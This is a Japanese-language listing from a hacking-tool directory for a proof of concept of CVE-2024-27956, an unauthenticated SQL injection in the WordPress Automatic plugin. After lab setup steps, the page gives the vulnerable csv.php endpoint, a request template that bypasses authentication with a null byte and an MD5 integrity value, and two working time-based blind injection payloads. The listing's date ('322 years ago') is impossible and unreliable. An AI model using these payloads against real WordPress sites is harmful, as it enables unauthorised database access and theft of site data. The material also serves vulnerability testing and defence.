Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-27956 — CVE-2024-27956 WordPress Automatic < 3.92.1 - 未認証のSQLインジェクション | Kitploit
ツール/GitHubGitHub/truonghuuphuc/cve-2024-27956
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubtruonghuuphuc/cve-2024-27956

CVE-2024-27956

CVE-2024-27956 WordPress Automatic < 3.92.1 - 未認証のSQLインジェクション

リポジトリを見る
322年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-27956

注意

WordPressを構築: docker-compose -f stack.yml up

プラグインのインストール:

  1. WordPressダッシュボードで、プラグイン > 新規追加 を選択

  2. プラグインのアップロード をクリック

image

  1. ファイルを選択 -> wp-automatic.zip -> 今すぐインストール

image

  1. インストールが完了したら、プラグインを有効化 をクリック

image

エクスプロイト

<HOST>/wp-content/plugins/wp-automatic/inc/csv.php

q={{query}}&auth=%00&integ={{md5query}}

root@kitploit:~
q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f

image

root@kitploit:~
q=SELECT+IF(1=2,sleep(5),sleep(0))&auth=%00&integ=4b1f4024af81df56c3b00679b9b52183

image

ツールをダウンロード